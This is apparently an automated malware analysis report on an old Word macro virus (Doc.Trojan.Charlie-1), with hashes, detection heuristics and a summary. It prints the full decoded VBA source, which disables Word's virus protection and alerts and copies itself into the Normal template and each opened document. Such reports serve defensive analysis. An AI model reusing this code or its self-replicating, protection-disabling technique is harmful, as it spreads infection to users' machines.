Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec1df363421e88bb…

MALICIOUS

Office (OLE)

37.0 KB Created: 2000-01-27 07:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: de40fd9076a7dd10773dadaf69754106 SHA-1: a253586210a977dc87f655b29f0c8353ac6f6738 SHA-256: ec1df363421e88bb3b0a0d19b633908ff4c3fe357e46b2ca38524308480ee3e6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing a VBA macro named 'AutoOpen'. This macro is designed to export itself to 'c:\Windows\Command\Charles.sys' and then import this exported component into the Normal template and the current document, likely to ensure persistence. The macro also attempts to disable security features and displays a message box, indicating a deliberate attempt to execute malicious code. The presence of the 'AutoOpen' macro and the export/import functionality strongly suggests a downloader or persistence mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.Charlie-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Charlie-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1276 bytes
SHA-256: 2cb6578894fc62037649e9ca2769ecd3b486c6d61add3ab15cab1aae9cb37713
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Charlie"
Sub AutoOpen()

On Error Resume Next

Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.EnableCancelKey = wCancelDisabled
Application.DisplayStatusBar = False
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone

Set Doc = ActiveDocument.VBProject.VBComponents
Set Tmp = NormalTemplate.VBProject.VBComponents

Const ExportSource = "c:\Windows\Command\Charles.sys"
Const VirName = "Charlie"
Application.VBE.ActiveVBProject.VBComponents("Charlie").Export ExportSource

For i = 1 To Tmp.Count
    If Tmp(i).Name = VirName Then TmpInstalled = 1
Next i

For j = 1 To Doc.Const
    If Doc(j).Name = VirName Then DocInstalled = 1
Next j

If TmpInstalled = 0 Then
    Tmp.Import ExportSource
    NormalTemplate.Save
End If

If DocInstalled = 0 Then
    Doc.Import ExportSource
    ActiveDocument.SaveAs FileName:=ActiveDocumen.FullName
End If

MsgBox "It Is Waiting For You Mr. Charles", 0, "Word.Charlie"

End Sub